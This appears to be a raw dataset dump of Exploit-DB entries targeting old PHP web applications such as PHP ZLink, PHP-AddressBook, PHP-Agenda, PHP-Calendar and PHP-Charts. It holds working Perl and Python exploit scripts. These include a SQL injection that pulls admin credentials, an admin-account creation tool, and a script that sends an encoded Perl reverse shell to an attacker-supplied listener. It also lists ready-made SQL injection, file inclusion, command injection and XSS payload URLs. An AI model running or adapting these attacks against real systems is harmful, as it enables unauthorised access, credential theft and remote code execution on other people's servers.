deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4774
Description: PHP ZLink 0.3 - 'go.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-23
Author: DNX

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[3])
{
  print "\n                         \\#'#/                    ";
  print "\n                         (-.-)                     ";
  print "\n   -----------------oOO---(_)---OOo----------------";
  print "\n   | PHP ZLink v0.3 (go.php) Remote SQL Injection |";
  print "\n   |                 coded by DNX                 |";
  print "\n   ------------------------------------------------";
  print "\n[!] Discovered.: DNX";
  print "\n[!] Vendor.....: http://www.zeak.net";
  print "\n[!] Detected...: 28.10.2007";
  print "\n[!] Reported...: 28.10.2007";
  print "\n[!] Response...: 29.10.2007";
  print "\n";
  print "\n[!] Background.: PHP ZLink is a free short Url Redirection Script";
  print "\n";
  print "\n[!] Bug........: \$id in go.php";
  print "\n";
  print "\n                 line 25: \$id = \$_GET['id']";
  print "\n";
  print "\n                 line 28: SELECT url FROM \$table WHERE id = \$id";
  print "\n";
  print "\n[!] Solution...: Upgrade to PHP ZLink v1.0";
  print "\n";
  print "\n[!] Usage......: perl zlink.pl [Host] [Path] <Options>";
  print "\n[!] Example....: perl zlink.pl 127.0.0.1 /zlink/ -id 1";
  print "\n[!] Options....:";
  print "\n       -id [no]      Valid ID";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $table   = "admin";
my $id      = 0;
my %options = ();
GetOptions(\%options, "id=i", "p=s");

print "[!] Exploiting...\n";

if($options{"id"})
{
  exploit($options{"id"});
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

print "\n[!] Exploit done\n";

sub exploit
{
  my $id     = shift;
  my $url    = "http://".$host.$path."go.php?id=".$id."%20union%20select%20concat(username,0x2f,password)%20from%20admin";
  my $regexp = "<iframe(.*)src=\"(.*)\"><\/iframe>";
  
  my $ua = LWP::UserAgent->new;
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  @content = split(/\n/, $content);
  $found = 0;
  
  foreach (@content)
  {
    if($_ =~ /$regexp/ && $2 !~ /http/)
    {
      ($user, $pass) = split(/\//, $2);
      print "User/Password: ".$user."/".$pass."\n";
      $found = 1;
    }
  }
  
  if(!$found)
  {
    $count = 2;
    $noendless = 20;
    while($count < $noendless)
    {
      $response = $ua->get($url."%20limit%20".$count++);
      if($tmp eq $response->base)
      {
        $count = $noendless;
      }
      else
      {        
        $tmp = $response->base;
        ($x, $y) = split(/$host$path/, $tmp);
        print "User/Password: ".$y."\n";
      }
    }
  }
}

# milw0rm.com [2007-12-23]
Exploit-DB #21564
Description: PHP-Address 0.2 e - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-06-17
Author: Tim Vandermeerch

Exploit:
source: https://www.securityfocus.com/bid/5039/info

PHP-Address is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

http://SERVER/globals.php3?LangCookie=http://MYSERVER/x
(the .php3 is already there look at line 5 in global.php3)

Remote script located on MYSERVER:

------------x.php3------------
<?
passthru("/bin/ls /");
?>
-------------------------------

Outputs a directory listing.
Exploit-DB #5739
Description: PHP-Address Book 3.1.5 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-04
Author: CWH Underground

Exploit:
============================================================
 PHP-Address Book (SQL/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 4 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHP-Address Book
 VERSION     : <= 3.1.5
 DOWNLOAD    : http://sourceforge.net/projects/php-addressbook
#####################################################

---SQL Injection Exploit---

##############################################
Vulnerable: view.php

 6:  if ($id) {
 7:
 8:  $sql = "SELECT * FROM $base_from_where AND $table.id=$id";
 9:   $result = mysql_query($sql, $db);
10:   $r = mysql_fetch_array($result);
11:
12:   $resultsnumber = mysql_numrows($result);
13: }

###############################################

Exploit:

http://[target]/[path]/view.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*


##############################################
Vulnerable: edit.php

30: if(! $read_only)
31:  {
32:	$sql="SELECT * FROM $base_from_where AND $table.id=$id";
33:	$result = mysql_query($sql);
34:	$resultsnumber = mysql_numrows($result);

###############################################

Exploit:

http://[target]/[path]/edit.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*


---Remote XSS Exploit---

[+]/?group
[+]/index.php


Example:
     
http://[target]/[path]/?group=<XSS>
http://[target]/[path]/index.php?group=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-04]
Exploit-DB #10877
Description: PHP-AddressBook 3.1.5 - 'edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
@   php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability


@    Author: Hussin X

@    Home :  www.iq-ty.com<http://www.iq-ty.com>,

@    email:  darkangel_g85[at]Yahoo[dot]com

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@    script : http://sourceforge.net/project/showfiles.php?group_id=157964

@    DorK   : php-addressbook v3.1.5



ExPloiT :

www.[target].com/Script/edit.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--




end

IQ-SecuritY FoRuM
Exploit-DB #15848
Description: PHP-AddressBook 6.2.4 - 'group.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-29
Author: hiphop

Exploit:
#Exploit Title    :  PHP-AddressBook v6.2.4 SQL INJECTION VULNERABILITIES
#Script   : PHP-AddressBook v6.2.4
#Language : PHP
#DESCRIPTION:Simple, web-based address & phone book, contact manager, organizer. Groups, addresses, e-Mails, phone numbers & birthdays. vCards, LDIF, Excel, iPhone, Gmail & Google-Maps supported
#Download : http://php-addressbook.sourceforge.net/download
#DORK: "php-addressbook"
#Date     : 2010/12/29
#Found    : by hiphop
#thanks :silly3r


proof of concept:

Condition: magic_quotes_gpc = off

http://server/group.php?group_name=1'+union+select+1,2,3,4,5,6,7,concat(database(),0x3a,user()),9'
Exploit-DB #5982
Description: PHP-Agenda 2.2.4 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-01
Author: StAkeR

Exploit:
@~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                                
@~~==========================================================================~~@
|  Simple PHP Agenda <= 2.2.4 Local File Inclusion Vulnerability               |
@~~==========================================================================~~@
|  index.php?page=../../../../../../../etc/passwd%00
@~~==========================================================================~~@
+
@~~=============================================================================~~@
|  http://dfn.dl.sourceforge.net/sourceforge/php-agenda/php-agenda-2.2.4.tar.gz   |
@~~=============================================================================~~@  

# milw0rm.com [2008-07-01]
Exploit-DB #8388
Description: PHP-Agenda 2.2.5 - Remote File Overwriting
Type: webapps
Platform: php
Date: 2009-04-10
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


*************************************************

[+] Code


- [A] Remote File Overwriting

<html>
  <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
  <body>
    <form action="http://www.site.com/path/install.php" method="post">
      <input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '">
      <input type="submit" value="Exploit!" >
    </form>
  </body>
</head>

To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


*************************************************

[+] Fix

You must delete install.php after installation.


*************************************************

# milw0rm.com [2009-04-10]
Exploit-DB #5649
Description: PHP-AGTC Membership System 1.1a - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-05-18
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

# Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel.
# Note: alot of sites run this script and they remove the "powered by" dork. Also you can get access to alot of nice site's member sections using this, since its a member management script.

use strict;
use LWP::UserAgent;

print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n";
print "-+-- Discovered && Coded By: t0pP8uZz  /  Discovered On: 16 MAY 2008   --+-\n";
print "-+-- 1.1a tested, not sure if there are new versions, if there are...  --+-\n";
print "-+-- ... there probarly affected too. Script Download: agtc.co.uk      --+-\n";
print "-+--          Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew            --+-\n";
print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n";

print "\nEnter URL(http://site.com): ";
	chomp(my $url=<STDIN>);

print "\nAdmin Username(create's your admin username): ";
	chomp(my $usr=<STDIN>);
	
print "\nAdmin Password(create's your admin password): ";
	chomp(my $pwd=<STDIN>);

my $email = "user".int(rand(9999))."\@localhost.com"; # generates a random email, if a attacker has already exploited this site, this allows the script to add another admin account.
my $ua    = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob    = $ua->post( $url."/adduser.php", { "username" => $usr, "userpass" => $pwd, "useremail" => $email, "userlevel" => 4, "Submit" => 1} );

if($ob->is_success && index($ob->content, "registered") != -1) {
	print "Exploit Successfull! Admin Created! Login: $url\n";
} else { print "Failed. Cause's: username exists or site not vulnerable, try again!"; }

# milw0rm.com [2008-05-18]
Exploit-DB #4589
Description: PHP-AGTC Membership System 1.1a - Remote Add Admin
Type: webapps
Platform: php
Date: 2007-10-30
Author: 0x90

Exploit:
<!--
- Product : AGTC-Membership system
- Version : 1.1a
- Website : http://www.agtc.co.uk
- Author  : 0x90
- Homepage: WwW.0x90.CoM.Ar
- Contact : Guns[at]0x90[dot]com[dot]ar
- Problem : Admin Added Access.
-->

<form name="form1" method="post" action="http://[target]/adduser.php">
 <h3 align="center">AGTC-Membership system v1.1a (adduser) Remote Add
Admin Exploit</h3>
  <table width="40%" border="1" align="center" bordercolor="#000000">
    <tr>
      <td width="20%"><div align="right"><strong>User Name:</strong></div></td>
      <td width="40%"><input name="username" type="text" id="username" value="" maxlength="15"></td>
    </tr>
    <tr>
      <td><div align="right"><strong>Password:</strong></div></td>
      <td><input name="userpass" type="password" id="userpass" value="" maxlength="15"></td>
    </tr>
<tr>
      <td><div align="right"><strong>Email Address:</strong></div></td>
      <td><input name="useremail" type="text" id="useremail" value="" maxlength="25"></td>
    </tr>
      <input name="userlevel" type="hidden" id="userlevel" value="4">
	    <tr>
      <td>&nbsp;</td>
      <td><input type="submit" name="Submit" value="Add User">
        <input type="reset" name="Submit2" value="Reset"></form></td>
    </tr>
  </table>

# milw0rm.com [2007-10-30]
Exploit-DB #17573
Description: PHP-Barcode 0.3pl1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2011-07-26
Author: beford

Exploit:
PHP-Barcode 0.3pl1 Remote Code Execution

The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:

Windows

http://www.site.com/php-barcode/barcode.php?code=%TMP%

Linux

http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`

Vendor:
  http://www.ashberg.de/php-barcode/download/

Vendor informed:
  July  6 / 2011

Vendor acknowledgement:
  July 7 / 2011

Fix not available from vendor.

- beford
Exploit-DB #22252
Description: PHP-Board 1.0 - User Password Disclosure
Type: webapps
Platform: php
Date: 2003-02-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6862/info

php-board user information is stored in flat files on the system hosting the software. Access to the files via the web is not sufficiently restricted. Remote attackers may request user files and gain access to php-board user and administrative passwords.

http://www.example.com/user/[NICKNAME].txt
Exploit-DB #33436
Description: PHP-Calendar 1.1 - 'update08.php?configfile' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-21
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37450/info

PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

PHP-Calendar 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php 
http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd
Exploit-DB #33437
Description: PHP-Calendar 1.1 - 'update10.php?configfile' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-21
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37450/info
 
PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
 
PHP-Calendar 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd
Exploit-DB #43819
Description: PHP-Calendar < 0.10.1 - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2014-12-29
Author: GulfTech Security

Exploit:
PHP-Calendar Arbitrary File Inclusion

Vendor: Sean Proctor
Product: PHP-Calendar
Version: <= 0.10.1
Website: http://php-calendar.sourceforge.net/

BID: 12127 
CVE: CVE-2004-1423 
OSVDB: 12700 12701 
SECUNIA: 22516 
PACKETSTORM: 35563 

Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ] 


File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's 

http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php 

If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations. 


Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php 
if ( !defined('IN_PHPC') ) {
	die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory. 


Credits:
James Bercegay of the GulfTech Security Research Team
Exploit-DB #26453
Description: PHP-Charts 1.0 - 'index.php?type' Remote Code Execution
Type: webapps
Platform: php
Date: 2013-06-26
Author: infodox

Exploit:
#!/usr/bin/python
# Original Advisory came from:
# http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html
# infodox - insecurety.net
import requests
import random
import threading
import sys

def genpayload(host, port):
    """ Perl Reverse Shell Generator """
    load = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';""" %(host, port)
    encoded = load.encode('base64')
    encoded = encoded.strip()
    encoded = encoded.replace('\n', '')
    encoded = encoded.encode('base64')
    encoded = encoded.strip()
    encoded = encoded.replace('\n', '') # double encoding , yes
    payload = "system(base64_decode(base64_decode('%s')))" %(encoded)
    return payload


def hack(pwn):
    requests.get(pwn)

def main():
    haxurl = "http://" + target + path + "wizard/index.php?type=';INSERTCODE;//"
    payload = genpayload(host, port)
    pwn = haxurl.replace("INSERTCODE", payload)
    print "[+] Preparing for hax"
    print "[!] Please run nc -lvp %s on your listener" %(port)
    raw_input("Press Enter to Fire...") # debugging
    print "[*] Sending malicious request..."
    threading.Thread(target=hack, args=(pwn,)).start() # ph33r l33t thr34d1ng
    print "[?] g0tr00t?"
    sys.exit(0)

def randomQuote():
    quotes =\
    ['Now with advice from Sabu!', 'Now with LOIC Support', 'Now with auto-DDoS',
    'Now with auto-brag!', 'Now with advice from Kevin Mitnick', 'Now with silly quotes!',
    'Comes with free forkbombs!', 'Now with a free copy of Havij', 'Are you stoned, or just stupid?']
    randomQuote = random.choice(quotes)
    return randomQuote

def banner():
    print "PHP-Charts v1.0 Remote Code Execution Exploit."
    randomquote = randomQuote()
    print randomquote

if len(sys.argv) != 5:
    banner()
    print "Usage: %s <target host> <path to wizard> <listener host> <listener port>" %(sys.argv[0])
    print "Example: %s hackme.com /wp/chart/chart/ hacke.rs 1337" %(sys.argv[0])
    sys.exit(1)
else:
    banner()
    target = sys.argv[1]
    path = sys.argv[2]
    host = sys.argv[3]
    port = sys.argv[4]
    main()
Exploit-DB #25496
Description: PHP-Charts 1.0 - Code Execution
Type: webapps
Platform: php
Date: 2013-05-17
Author: fizzle stick

Exploit:
# Exploit Title: PHP-CHARTS v1.0 code execution vulnerability
# Date: 05/15/2013
# Exploit Author: fizzle stick
# Vendor Homepage: http://php-charts.com/
# Software Link: http://php-charts.com/downloads/php-chart_v1.0.zip
# Version: v1.0
# Tested on: Windows

Summary: PHP-charts v1.0 suffers from a code execution vulerability in the
index.php page

Exploit:
http://192.168.1.120/phpcharts/wizard/index.php?type=';system('whoami');//

Result: If vulnerable the web service context will be displayed, usually
SYSTEM. ;D

####